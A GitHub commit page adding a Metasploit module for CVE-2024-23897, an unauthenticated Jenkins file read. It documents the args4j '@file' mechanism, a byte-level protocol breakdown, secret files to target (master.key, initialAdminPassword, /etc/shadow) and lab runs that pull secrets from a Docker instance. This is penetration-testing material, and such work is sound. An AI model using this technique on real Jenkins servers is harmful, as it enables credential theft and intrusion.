Skip to content

Commit

Permalink
Land rapid7#18764, Add unauth Jenkins file read module
Browse files Browse the repository at this point in the history
This PR adds a new module to exploit CVE-2024-23897, an unauth arbitrary
(first 2 lines) file read on Jenkins.
  • Loading branch information
jheysel-r7 committed Mar 28, 2024
2 parents 0cd2bc5 + 155181f commit 31cf0e2
Show file tree
Hide file tree
Showing 3 changed files with 437 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,135 @@
## Vulnerable Application

This module utilizes the Jenkins cli protocol to run the `help` command.
The cli is accessible with read-only permissions by default, which are
all thats required.

Jenkins cli utilizes `args4j's` `parseArgument`, which calls `expandAtFiles` to
replace any `@<filename>` with the contents of a file. We are then able to retrieve
the error message to read up to the first two lines of a file.

Exploitation by hand can be done with the cli, see markdown documents for additional
instructions.

There are a few exploitation oddities:
1. The injection point for the `help` command requires 2 input arguments.
When the `expandAtFiles` is called, each line of the `FILE_PATH` becomes an input argument.
If a file only contains one line, it will throw an error: `ERROR: You must authenticate to access this Jenkins.`
However, we can pad out the content by supplying a first argument.
2. There is a strange timing requirement where the `download` (or first) request must get
to the server first, but the `upload` (or second) request must be very close behind it.
From testing against the docker image, it was found values between `.01` and `1.9` were
viable. Due to the round trip time of the first request and response happening before
request 2 would be received, it is necessary to use threading to ensure the requests
happen within rapid succession.

Files of value:

* /var/jenkins_home/secret.key
* /var/jenkins_home/secrets/master.key
* /var/jenkins_home/secrets/initialAdminPassword
* /etc/passwd
* /etc/shadow
* Project secrets and credentials
* Source code, build artifacts

Vulnerable versions include:

* < 2.442
* LTS < 2.426.3

### Protocol Breakdown

A few samples of the protocol that was observed, how to generate it, and the breakdown of fields.

| | **Generator** | **Heading** | **Pad (1)** | **Unknown (len(@file_name) + 2)** | **len(@file_name)** | **@** | **file_name** | **Unknown** | **len(encoding)** | **UTF-8** | **Unknown** | **len(locality)** | **en_US** | **footer** |
|-------------------------------------------|----------------------------------------------------------------------------------|------------------------------|------------------|-------------|---------------------|-------|--------------------------|--------------|-------------------|------------|--------------|-------------------|------------|------------|
| **no pad multi line file (/tmp/file.22)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help "@/tmp/test.22" | 0000000600000468656c70000000 | | 0f0000 | 0d | 40 | 2f746d702f746573742e3232 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
| **no pad single line file (/tmp/file.1)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help "@/tmp/test.1" | 0000000600000468656c70000000 | | 0e0000 | 0c | 40 | 2f746d702f746573742e31 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
| **pad multi line file (/tmp/file.22)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/tmp/test.22" | 0000000600000468656c70000000 | 0300000131000000 | 0f0000 | 0d | 40 | 2f746d702f746573742e3232 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
| **pad single line file (/tmp/file.1)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/tmp/test.1" | 0000000600000468656c70000000 | 0300000131000000 | 0e0000 | 0c | 40 | 2f746d702f746573742e31 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |

### Docker Setup

Version 2.440: `docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk17`

LTS Version 2.426.2: `docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.426.2-lts`

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read`
1. Do: `set rhost [ip]`
1. Do: `run`
1. You should get the first two lines of the `FILE_PATH`

## Options

### FILE_PATH

File path to read from the server. Defaults to `/etc/passwd`.

Other files which may be of value:
* `/var/jenkins_home/secret.key`
* `/var/jenkins_home/secrets/master.key`
* `/var/jenkins_home/secrets/initialAdminPassword`
* `/etc/passwd`
* `/etc/shadow`
* Project secrets and credentials
* Source code, build artifacts

### DELAY

Delay between first and second request to ensure first request gets there on time, but the second request is very quickly behind it.
Defaults to `0.5`

Testing against the docker image showed values between `.01` and `1.9` were successful.

### ENCODING

Encoding to use for reading the file. This may mangle binary files. Defaults to `UTF-8`

### LOCALITY

Locality to use for reading the file. This may mangle binary files. Defaults to `en_US`

## Scenarios

### jenkins 2.440-jdk17 on Docker

```
msf6 > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secrets/initialAdminPassword
file_path => /var/jenkins_home/secrets/initialAdminPassword
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run
[*] Running module against 127.0.0.1
[*] Sending requests with UUID: ed148f4d-709a-4d16-a452-4509f3a37ed6
[*] Re-attempting with padding for single line output file
[+] /var/jenkins_home/secrets/initialAdminPassword file contents retrieved (first line or 2):
f5d5f6e98e1f466aad22c0f81ca48fb0
[+] Results saved to: /root/.msf4/loot/20240130204021_default_127.0.0.1_jenkins.file_717110.txt
[*] Auxiliary module execution completed
```

### jenkins 2.426.2-lts on Docker

```
msf6 > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secret.key
file_path => /var/jenkins_home/secret.key
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run
[*] Running module against 127.0.0.1
[*] Sending requests with UUID: 0d69c3f1-7695-4db1-a0c6-08108f33e339
[*] Re-attempting with padding for single line output file
[+] /var/jenkins_home/secret.key file contents retrieved (first line or 2):
6ce26592ad3683cc8d056bea07ffa2696f1b14f0db64dbd122c50ab930e279ad
[+] Results saved to: /root/.msf4/loot/20240130204241_default_127.0.0.1_jenkins.file_317409.txt
[*] Auxiliary module execution completed
```
21 changes: 21 additions & 0 deletions lib/msf/core/exploit/remote/http/jenkins.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,27 @@ class Remote
module HTTP
# This module provides a way of logging into Jenkins
module Jenkins
# Returns the Jenkins version.
#
# @return [String] Jenkins version.
# @return [NilClass] No Jenkins version found.
def jenkins_version
uri = normalize_uri(target_uri.path)
res = send_request_cgi({ 'uri' => uri })

unless res
return nil
end

# shortcut for new versions such as 2.426.2 and 2.440
return res.headers['X-Jenkins'] if res.headers['X-Jenkins']

html = res.get_html_document
version_attribute = html.at('body').attributes['data-version']
version = version_attribute ? version_attribute.value : ''
version.scan(/jenkins-([\d.]+)/).flatten.first
end

# This method takes a target URI and makes a request to verify if logging in is possible,
# otherwise it will fail gracefully
#
Expand Down
Loading

0 comments on commit 31cf0e2

Please sign in to comment.